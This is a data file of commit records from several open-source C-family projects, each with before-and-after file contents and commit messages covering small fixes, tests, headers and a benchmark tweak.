{"commit":"637d0f278459aa1130ab96c063fcaf0611507e47","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <assert.h>\n\n#include \"api.h\"\n#include \"lib\/math.c\"\n#include \"lib\/test.c\"\n\nstatic jack_state_t* state;\n\nstatic intptr_t jack_fib(intptr_t n) {\n  jack_new_integer(state, n);\n  jack_function_call(state, 1, 1);\n  return jack_get_integer(state, -1);\n}\n\nint main() {\n  for (int j = 0; j < 0x1; ++j) {\n\n    state = jack_new_state(15);\n    jack_call(state, jack_math, 0);\n    jack_map_get_symbol(state, -1, \"fib\");\n    jack_new_list(state);\n    \/\/ 1 - fib\n    \/\/ 2 - list\n\n    for (intptr_t i = 0; i <= 91; ++i) {\n      printf(\"fib(%ld) = %ld\\n\", i, jack_fib(i));\n      jack_list_push(state, 2);\n    }\n    jack_dump_state(state);\n\n    jack_free_state(state);\n  }\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <assert.h>\n\n#include \"api.h\"\n#include \"lib\/math.c\"\n#include \"lib\/test.c\"\n\nstatic jack_state_t* state;\n\nstatic intptr_t jack_fib(intptr_t n) {\n  jack_new_integer(state, n);\n  jack_function_call(state, 1, 1);\n  return jack_get_integer(state, -1);\n}\n\nint main() {\n  state = jack_new_state(20);\n  jack_call(state, jack_math, 0);\n  jack_map_get_symbol(state, -1, \"fib\");\n  jack_new_list(state);\n  \/\/ 1 - fib\n  \/\/ 2 - list\n\n  for (int j = 0; j < 0x10000; ++j) {\n\n    printf(\"Generation %d\\n\", j);\n    for (intptr_t i = 0; i <= 91; ++i) {\n      jack_fib(i);\n      \/\/ printf(\"fib(%ld) = %ld\\n\", i, jack_fib(i));\n      jack_pop(state);\n      \/\/ jack_list_push(state, 2);\n    }\n\n  }\n  jack_dump_state(state);\n  jack_free_state(state);\n  return 0;\n}\n","subject":"Tweak for benchmark. fib(0-91) 1987925\/second","message":"Tweak for benchmark.  fib(0-91) 1987925\/second\n","lang":"C","license":"mit","repos":"creationix\/jack-lang,creationix\/jack-lang"}
{"commit":"6eba7a9e41ca3e5fac9c3b5feb74af9f37774987","old_file":"apps\/examples\/kalman_demo\/params.c","new_file":"apps\/examples\/kalman_demo\/params.c","old_contents":"#include <systemlib\/param\/param.h>\n\n\/*PARAM_DEFINE_FLOAT(NAME,0.0f);*\/\nPARAM_DEFINE_FLOAT(KF_V_GYRO, 1.0f);\nPARAM_DEFINE_FLOAT(KF_V_ACCEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_MAG, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_VEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_POS, 5.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_ALT, 5.0f);\nPARAM_DEFINE_FLOAT(KF_R_PRESS_ALT, 0.1f);\nPARAM_DEFINE_FLOAT(KF_R_ACCEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_FAULT_POS, 10.0f);\nPARAM_DEFINE_FLOAT(KF_FAULT_ATT, 10.0f);\nPARAM_DEFINE_FLOAT(KF_ENV_G, 9.765f);\nPARAM_DEFINE_FLOAT(KF_ENV_MAG_DIP, 60.0f);\nPARAM_DEFINE_FLOAT(KF_ENV_MAG_DEC, 0.0f);\n\n","new_contents":"#include <systemlib\/param\/param.h>\n\n\/*PARAM_DEFINE_FLOAT(NAME,0.0f);*\/\nPARAM_DEFINE_FLOAT(KF_V_GYRO, 0.008f);\nPARAM_DEFINE_FLOAT(KF_V_ACCEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_MAG, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_VEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_POS, 5.0f);\nPARAM_DEFINE_FLOAT(KF_R_GPS_ALT, 5.0f);\nPARAM_DEFINE_FLOAT(KF_R_PRESS_ALT, 0.1f);\nPARAM_DEFINE_FLOAT(KF_R_ACCEL, 1.0f);\nPARAM_DEFINE_FLOAT(KF_FAULT_POS, 10.0f);\nPARAM_DEFINE_FLOAT(KF_FAULT_ATT, 10.0f);\nPARAM_DEFINE_FLOAT(KF_ENV_G, 9.765f);\nPARAM_DEFINE_FLOAT(KF_ENV_MAG_DIP, 60.0f);\nPARAM_DEFINE_FLOAT(KF_ENV_MAG_DEC, 0.0f);\n","subject":"Fix gyro measurement noise variance","message":"Fix gyro measurement noise variance\n","lang":"C","license":"bsd-3-clause","repos":"mcgill-robotics\/Firmware,Aerotenna\/Firmware,darknight-007\/Firmware,dagar\/Firmware,krbeverx\/Firmware,PX4\/Firmware,mcgill-robotics\/Firmware,PX4\/Firmware,jlecoeur\/Firmware,mje-nz\/PX4-Firmware,PX4\/Firmware,PX4\/Firmware,jlecoeur\/Firmware,Aerotenna\/Firmware,acfloria\/Firmware,krbeverx\/Firmware,acfloria\/Firmware,krbeverx\/Firmware,PX4\/Firmware,jlecoeur\/Firmware,krbeverx\/Firmware,Aerotenna\/Firmware,jlecoeur\/Firmware,jlecoeur\/Firmware,jlecoeur\/Firmware,dagar\/Firmware,Aerotenna\/Firmware,acfloria\/Firmware,mje-nz\/PX4-Firmware,acfloria\/Firmware,mcgill-robotics\/Firmware,mcgill-robotics\/Firmware,dagar\/Firmware,krbeverx\/Firmware,krbeverx\/Firmware,mcgill-robotics\/Firmware,acfloria\/Firmware,mcgill-robotics\/Firmware,Aerotenna\/Firmware,mje-nz\/PX4-Firmware,mje-nz\/PX4-Firmware,PX4\/Firmware,mje-nz\/PX4-Firmware,jlecoeur\/Firmware,dagar\/Firmware,Aerotenna\/Firmware,PX4\/Firmware,Aerotenna\/Firmware,darknight-007\/Firmware,darknight-007\/Firmware,mcgill-robotics\/Firmware,darknight-007\/Firmware,krbeverx\/Firmware,dagar\/Firmware,mje-nz\/PX4-Firmware,acfloria\/Firmware,acfloria\/Firmware,dagar\/Firmware,darknight-007\/Firmware,jlecoeur\/Firmware,dagar\/Firmware,mje-nz\/PX4-Firmware"}
{"commit":"8114b3e7e5438de48b5cf1c1e2454debb6cf96cc","old_file":"src\/readimages.c","new_file":"src\/readimages.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <arpa\/inet.h>\n#include \"idx.h\"\n\nint main(int argc, char **argv){\n   if(argc<2){\n      printf(\"Usage: \\n\");\n      printf(\"readlabels t10k-labels-idx1-ubyte \\n\");\n      exit(1);\n   }\n   \n   char *slabelfname = argv[1];\n   \n   IDX1_DATA idxdata;\n   if(!fread_idx1_file( slabelfname, &idxdata)){\n      printf(\"The datafile '%s' is not a valid IDX_1 file.\\n\", slabelfname);\n      exit(2);\n   }\n   \/\/printf(\"Length: %d\\n\", idxdata.length);\n   int i;\n   for(i=0;i<idxdata.length;i++){\n\/\/      printf(\"DATA[%05d] = %02d\\n\", i, idxdata.data[i]);\n      printf(\"%d\\n\", idxdata.data[i]);\n   }\n   \n   return 0;\n}\n\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <arpa\/inet.h>\n#include \"idx.h\"\n\nint main(int argc, char **argv){\n   if(argc<2){\n      printf(\"Usage: \\n\");\n      printf(\"readimages t10k-images-idx3-ubyte \\n\");\n      exit(1);\n   }\n   \n   char *slabelfname = argv[1];\n   \n   IDX3_DATA idxdata;\n   if(!fread_idx3_file( slabelfname, &idxdata)){\n      printf(\"The datafile '%s' is not a valid IDX3 file.\\n\", slabelfname);\n      exit(2);\n   }\n   \/\/printf(\"Length: %d\\n\", idxdata.length);\n   \n   int i;\n   int x;\n   int y;\n   int ibase;\n   int rbase;\n   unsigned char pxl;\n   for(i=0;i<idxdata.nimages;i++){\n      ibase = i * idxdata.nrows * idxdata.ncols;\n      printf(\"Image %05d ( %010d ):\\n\", i + 1, ibase);\n      for(y=0;y<idxdata.nrows;y++){\n         rbase = ibase + y*idxdata.ncols;\n         for(x=0;x<idxdata.ncols;x++){\n            \/\/      printf(\"DATA[%05d] = %02d\\n\", i, idxdata.data[i]);\n            pxl = idxdata.data[ rbase + x ];\n            if(pxl){\n               printf(\"%02X\", pxl);\n            }else{\n               printf(\"  \");\n            }\n         }\n         printf(\"\\n\");\n      }\n      printf(\"========================================================\\n\");\n   }\n   \n   return 0;\n}\n\n","subject":"Implement a simple ASCII text image dumper.","message":"Implement a simple ASCII text image dumper.\n","lang":"C","license":"mit","repos":"spytheman\/MNIST-idx1-and-idx3-file-readers"}
{"commit":"8422e5d1b414ee3a5ca6813e064fb55ea7a8c5bd","old_file":"src\/udbm_stubs.h","new_file":"src\/udbm_stubs.h","old_contents":"#ifndef UDBM_STUBS_H_\n#define UDBM_STUBS_H_\n\n#include <vector>\n\ntypedef std::vector<int> carray_t;\n#define get_cvector(x) ((carray_t*)Data_custom_val(x))\n\n#define get_dbm_ptr(x) static_cast<dbm_t*>(Data_custom_val(x))\n\n#endif  \/\/ UDBM_STUBS_H_\n","new_contents":"#ifndef UDBM_STUBS_H_\n#define UDBM_STUBS_H_\n\n#include <vector>\n\ntypedef std::vector<int> carray_t;\n#define get_cvector(x) ((carray_t*)Data_custom_val(x))\n\n#define get_dbm_ptr(x) static_cast<dbm_t*>(Data_custom_val(x))\n\nbool\ndbm_closure_leq(const raw_t * const dr1, const raw_t * const dr2, cindex_t dim,\n                const std::vector<int> &lbounds, const std::vector<int> &ubounds);\n\n#endif  \/\/ UDBM_STUBS_H_\n","subject":"Make closure inclusion test visible (to be used from the priced zone part).","message":"Make closure inclusion test visible (to be used from the priced zone part).\n","lang":"C","license":"agpl-3.0","repos":"osankur\/udbml,osankur\/udbml,osankur\/udbml"}
{"commit":"59501bf64fd51722d70cc3c7682ef30efe057e36","old_file":"models\/generic\/Generic_FuncDriver.h","new_file":"models\/generic\/Generic_FuncDriver.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/\n\/\/ =============================================================================\n\n#ifndef GENERIC_FUNCDRIVER_H\n#define GENERIC_FUNCDRIVER_H\n\n#include \"subsys\/ChDriver.h\"\n\nclass Generic_FuncDriver : public chrono::ChDriver\n{\npublic:\n\n  Generic_FuncDriver() {}\n  ~Generic_FuncDriver() {}\n\n  virtual void Update(double time)\n  {\n    if (time < 0.5)\n      m_throttle = 0;\n    else if (time < 1.5)\n      m_throttle = 0.4 * (time - 0.5);\n    else\n      m_throttle = 0.4;\n\n    if (time < 4)\n      m_steering = 0;\n    else if (time < 6)\n      m_steering = 0.25 * (time - 4);\n    else if (time < 10)\n      m_steering = -0.25 * (time - 6) + 0.5;\n    else\n      m_steering = -0.5;\n  }\n};\n\n\n#endif\n","subject":"Add a generic driver model.","message":"Add a generic driver model.\n","lang":"C","license":"bsd-3-clause","repos":"hsu\/chrono-vehicle,hsu\/chrono-vehicle,hsu\/chrono-vehicle"}
{"commit":"0938cfe3dc0a498bbf3ce26dfe6c47d4d68025b5","old_file":"libtock\/internal\/nonvolatile_storage.h","new_file":"libtock\/internal\/nonvolatile_storage.h","old_contents":"#pragma once\n\n#include \"tock.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define DRIVER_NUM_NONVOLATILE_STORAGE 0x1b\n\nint nonvolatile_storage_internal_read_done_subscribe(subscribe_cb cb, void *userdata);\nint nonvolatile_storage_internal_write_done_subscribe(subscribe_cb cb, void *userdata);\n\nint nonvolatile_storage_internal_read_buffer(uint8_t* buffer, uint32_t len);\nint nonvolatile_storage_internal_write_buffer(uint8_t* buffer, uint32_t len);\n\nint nonvolatile_storage_internal_get_number_bytes(void);\nint nonvolatile_storage_internal_read(uint32_t offset, uint32_t length);\nint nonvolatile_storage_internal_write(uint32_t offset, uint32_t length);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#pragma once\n\n#include \"tock.h\"\n\n#define DRIVER_NUM_NONVOLATILE_STORAGE 0x50001\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint nonvolatile_storage_internal_read_done_subscribe(subscribe_cb cb, void *userdata);\nint nonvolatile_storage_internal_write_done_subscribe(subscribe_cb cb, void *userdata);\n\nint nonvolatile_storage_internal_read_buffer(uint8_t* buffer, uint32_t len);\nint nonvolatile_storage_internal_write_buffer(uint8_t* buffer, uint32_t len);\n\nint nonvolatile_storage_internal_get_number_bytes(void);\nint nonvolatile_storage_internal_read(uint32_t offset, uint32_t length);\nint nonvolatile_storage_internal_write(uint32_t offset, uint32_t length);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Revert \"weird issue where flash only works when DRIVER_NUM set to 27, hardcoded somewhere?\"","message":"Revert \"weird issue where flash only works when DRIVER_NUM set to 27, hardcoded somewhere?\"\n\nThis reverts commit 3431f4ed857afb9376a120334e1521aa9a71d483.\n","lang":"C","license":"apache-2.0","repos":"tock\/libtock-c,tock\/libtock-c,tock\/libtock-c"}
{"commit":"d3fabf05ee40f4a75d71aa7496819b75171d4c95","old_file":"src\/command1.c","new_file":"src\/command1.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include <stdbool.h>\n#include <unistd.h>\n#include \"firebase.h\"\n#include \"serial.h\"\n#include \"gpio.h\"\n\n#define _USE_SERIAL_\n#ifdef _USE_SERIAL_\n  void (*send_command)(bool, int) = send_command_serial;\n  void (*init_sender)() = init_sender_serial;\n#else\n  void (*send_command)(bool, int) = send_command_gpio;\n  void (*init_sender)() = init_sender_gpio;\n#endif\n\nvoid parse_event_string(char* event) {\n  bool isOn = (strncmp(event, \"on\", 2) == 0);\n\n  send_command(isOn, event[strlen(event)-1] - '0');\n}\n\nint main(int argc, char *argv[]) {\n  init_sender();\n\n  if(argc > 1) {\n    printf(\"Commanding remote\\n\\n\");\n  \n    bool isOn = strcmp(argv[1], \"on\") == 0 ? true : false;\n  \n    send_command(isOn, argv[2][0] - '0');\n  } else {\n    firebase_set_url(\"https:\/\/test.firebaseio.com\/me.json\");\n    firebase_set_callback(\"\/event\", parse_event_string);\n\n    sleep(10);\n    while (true) {\n      firebase_subscribe();\n      sleep(30);\n    }\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <stdbool.h>\n#include <unistd.h>\n#include \"firebase.h\"\n#include \"serial.h\"\n#include \"gpio.h\"\n\n\nbool useSerial = true;\n\nvoid init_sender() {\n  if (useSerial) {\n    init_sender_serial();\n  } else {\n    init_sender_gpio();\n  }\n}\n\nvoid send_command(bool isOn, int device) {\n  if (useSerial) {\n    send_command_serial(isOn, device);\n  } else {\n    send_command_gpio(isOn, device);\n  }\n}\n\nvoid parse_event_string(char* event) {\n  bool isOn = (strncmp(event, \"on\", 2) == 0);\n\n  send_command(isOn, event[strlen(event)-1] - '0');\n}\n\nint main(int argc, char *argv[]) {\n  init_sender();\n\n  if(argc > 1) {\n    printf(\"Commanding remote\\n\\n\");\n  \n    bool isOn = strcmp(argv[1], \"on\") == 0 ? true : false;\n  \n    send_command(isOn, argv[2][0] - '0');\n  } else {\n    firebase_set_url(\"https:\/\/test.firebaseio.com\/me.json\");\n    firebase_set_callback(\"\/event\", parse_event_string);\n\n    sleep(10);\n    while (true) {\n      firebase_subscribe();\n      sleep(30);\n    }\n  }\n\n  return 0;\n}\n","subject":"Switch to runtime library choice instead of compile time.","message":"Switch to runtime library choice instead of compile time.\n","lang":"C","license":"mit","repos":"maciel310\/command1-openwrt,maciel310\/command1-openwrt"}
{"commit":"f536368be8729154db369cc785fd5477e42c950e","old_file":"test\/FrontendC\/wchar-const.c","new_file":"test\/FrontendC\/wchar-const.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {constant \\\\\\[18 x} | grep { 84, }\n\/\/ This should pass for any endianness combination of host and target.\n#include <ctype.h>\nextern void foo(const wchar_t* p);\nint main (int argc, const char * argv[])\n{\n foo(L\"This is some text\");\n return 0;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep {constant \\\\\\[18 x} | grep { 84, }\n\/\/ This should pass for any endianness combination of host and target.\n#include <wchar.h>\nextern void foo(const wchar_t* p);\nint main (int argc, const char * argv[])\n{\n foo(L\"This is some text\");\n return 0;\n}\n","subject":"Use wchar.h to get wchar_t, not ctype.h.","message":"Use wchar.h to get wchar_t, not ctype.h.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@78703 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"6b57b159709dcb4d53e64738f2d1f73b36e41601","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k4\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k5\"\n","subject":"Update driver version to 5.02.00-k5","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k5\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: Ravi Anand <399b6871085291e2c1578e38a71f59e8d20fafc0@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"0eebf9b5d2da61f84cddd0ec2bb41be93f8fc82b","old_file":"arch\/powerpc\/include\/asm\/swab.h","new_file":"arch\/powerpc\/include\/asm\/swab.h","old_contents":"\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#ifndef _ASM_POWERPC_SWAB_H\n#define _ASM_POWERPC_SWAB_H\n\n#include <uapi\/asm\/swab.h>\n\nstatic __inline__ __u16 ld_le16(const volatile __u16 *addr)\n{\n\t__u16 val;\n\n\t__asm__ __volatile__ (\"lhbrx %0,0,%1\" : \"=r\" (val) : \"r\" (addr), \"m\" (*addr));\n\treturn val;\n}\n\nstatic __inline__ void st_le16(volatile __u16 *addr, const __u16 val)\n{\n\t__asm__ __volatile__ (\"sthbrx %1,0,%2\" : \"=m\" (*addr) : \"r\" (val), \"r\" (addr));\n}\n\nstatic __inline__ __u32 ld_le32(const volatile __u32 *addr)\n{\n\t__u32 val;\n\n\t__asm__ __volatile__ (\"lwbrx %0,0,%1\" : \"=r\" (val) : \"r\" (addr), \"m\" (*addr));\n\treturn val;\n}\n\nstatic __inline__ void st_le32(volatile __u32 *addr, const __u32 val)\n{\n\t__asm__ __volatile__ (\"stwbrx %1,0,%2\" : \"=m\" (*addr) : \"r\" (val), \"r\" (addr));\n}\n\n#endif \/* _ASM_POWERPC_SWAB_H *\/\n","new_contents":"\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#ifndef _ASM_POWERPC_SWAB_H\n#define _ASM_POWERPC_SWAB_H\n\n#include <uapi\/asm\/swab.h>\n\n#endif \/* _ASM_POWERPC_SWAB_H *\/\n","subject":"Remove unused st_le*() and ld_le* functions","message":"powerpc: Remove unused st_le*() and ld_le* functions\n\nThe powerpc specific st_le*() and ld_le*() functions in\narch\/powerpc\/asm\/swab.h no longer have any users.  They are also\nmisleadingly named, since they always byteswap, even on a little-endian\nhost.\n\nThis patch removes them.\n\nSigned-off-by: David Gibson <aa743a0aaec8f7d7a1f01442503957f4d7a2d634@gibson.dropbear.id.au>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"20fd5a0c28f49618218d3c8d43c742fbab68edf0","old_file":"src\/host\/os_rmdir.c","new_file":"src\/host\/os_rmdir.c","old_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = rmdir(path);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2013 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = (0 == rmdir(path));\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","subject":"Fix error result handling in os.rmdir()","message":"Fix error result handling in os.rmdir()\n","lang":"C","license":"bsd-3-clause","repos":"premake\/premake-4.x,soundsrc\/premake-stable,ryanjmulder\/premake-4.x,lizh06\/premake-4.x,ryanjmulder\/premake-4.x,soundsrc\/premake-stable,premake\/premake-4.x,lizh06\/premake-4.x,premake\/premake-4.x,soundsrc\/premake-stable,ryanjmulder\/premake-4.x,premake\/premake-4.x,soundsrc\/premake-stable,lizh06\/premake-4.x,lizh06\/premake-4.x,ryanjmulder\/premake-4.x"}
{"commit":"98997692a6a8bf1ae6bbe15dd18ec4e27e0e6fcf","old_file":"risky\/risky.h","new_file":"risky\/risky.h","old_contents":"#ifndef SAXBOPHONE_RISKY_RISKY_H\n#define SAXBOPHONE_RISKY_RISKY_H\n\n#include <stdint.h>\n\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\ntypedef struct version_t {\n    uint8_t major;\n    uint8_t minor;\n    uint8_t patch;\n} version_t;\n\nextern const version_t VERSION;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n\n\/\/ end of header file\n#endif\n","new_contents":"#ifndef SAXBOPHONE_RISKY_RISKY_H\n#define SAXBOPHONE_RISKY_RISKY_H\n\n#include <stdint.h>\n\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n\/\/ struct for representing version of RISKY\ntypedef struct version_t {\n    uint8_t major;\n    uint8_t minor;\n    uint8_t patch;\n} version_t;\n\n\/\/ enum for storing information about the error status of a function\ntypedef enum status_t {\n    UNKNOWN = 0,\n    MALLOC_REFUSED,\n    IMPOSSIBLE_CONDITION,\n    SUCCESS,\n} status_t;\n\nextern const version_t VERSION;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n\n\/\/ end of header file\n#endif\n","subject":"Add a function return status enum","message":"Add a function return status enum\n","lang":"C","license":"mpl-2.0","repos":"saxbophone\/risky"}
{"commit":"ceb069acb461dd7da080303e29b2e8d916487cb8","old_file":"cc1\/tests\/test018.c","new_file":"cc1\/tests\/test018.c","old_contents":"","new_contents":"\/*\nname: TEST018\ndescription: Basic test for arrays\noutput:\nF1\nG1\tF1\tmain\n{\n-\nV2\tM\t#4\nV3\tV2\t#2\nA4\tV3\tarr\nA6\tP\tp\nA8\tP\tq\nV9\tI\t#4\nA10\tV9\tv\n\tA6\tA4\t'P\t:P\n\tA8\tA4\t'P\t#P4\t+P\t#P3\t+P\t:P\n\tA4\t'P\t#P4\t+P\t#P3\t+P\t@M\t#M2\t:M\n\tA10\t'P\t@I\t#I2\t:I\n\tj\tL12\tA4\t'P\t#P4\t+P\t#P3\t+P\t@M\tMI\t#I2\t=I\n\tyI\t#I1\nL12\n\tj\tL13\tA6\t#P4\t+P\t#P3\t+P\t@M\tMI\t#I2\t=I\n\tyI\t#I1\nL13\n\tj\tL14\tA8\t@M\tMI\t#I2\t=I\n\tyI\t#I1\nL14\n\tj\tL15\tA10\t@I\t#I2\t=I\n\tyI\t#I1\nL15\n\tyI\t#I0\n}\n*\/\n\n#line 1\n\nint\nmain()\n{\n\tchar arr[2][4], (*p)[4], *q;\n\tint v[4];\n\n\tp = arr;\n\tq = &arr[1][3];\n\tarr[1][3] = 2;\n\tv[0] = 2;\n\n\tif (arr[1][3] != 2)\n\t\treturn 1;\n\tif (p[1][3] != 2)\n\t\treturn 1;\n\tif (*q != 2)\n\t\treturn 1;\n\tif (*v != 2)\n\t\treturn 1;\n\n\treturn 0;\n}\n","subject":"Add basic test for arrays","message":"Add basic test for arrays\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"ed9f4938ae6215f20ff31d4b44545a8c0efe859f","old_file":"KSPTableSection.h","new_file":"KSPTableSection.h","old_contents":"\/\/\n\/\/  KPTableSection.h\n\/\/  KSPFetchedResultsController\n\/\/\n\/\/  Created by Konstantin Pavlikhin on 05.09.14.\n\/\/  Copyright (c) 2015 Konstantin Pavlikhin. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ * * *.\n\n@class NSManagedObject;\n\n\/\/ * * *.\n\n@interface KSPTableSection : NSObject\n\n- (nullable instancetype) initWithSectionName: (nonnull NSObject*) sectionName nestedObjects: (nullable NSArray<NSManagedObject*>*) nestedObjects;\n\n@property(readwrite, copy, nonatomic, nonnull) NSObject* sectionName;\n\n\/\/ Collection KVO-compatible property.\n@property(readonly, nullable) NSArray<__kindof NSManagedObject*>* nestedObjects;\n\n- (void) insertObject: (nonnull NSManagedObject*) object inNestedObjectsAtIndex: (NSUInteger) index;\n\n@end\n","new_contents":"\/\/\n\/\/  KPTableSection.h\n\/\/  KSPFetchedResultsController\n\/\/\n\/\/  Created by Konstantin Pavlikhin on 05.09.14.\n\/\/  Copyright (c) 2015 Konstantin Pavlikhin. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ * * *.\n\n@class NSManagedObject;\n\n\/\/ * * *.\n\n@interface KSPTableSection : NSObject\n\n- (nullable instancetype) initWithSectionName: (nonnull NSObject*) sectionName nestedObjects: (nullable NSArray<NSManagedObject*>*) nestedObjects;\n\n@property(readwrite, copy, nonatomic, nonnull) NSObject* sectionName;\n\n\/\/ Collection KVO-compatible property.\n@property(readonly, nonatomic, nullable) NSArray<__kindof NSManagedObject*>* nestedObjects;\n\n- (void) insertObject: (nonnull NSManagedObject*) object inNestedObjectsAtIndex: (NSUInteger) index;\n\n@end\n","subject":"Add a missing 'nonatomic' keyword in a property declaration.","message":"Add a missing 'nonatomic' keyword in a property declaration.\n","lang":"C","license":"mit","repos":"konstantinpavlikhin\/KSPFetchedResultsController"}
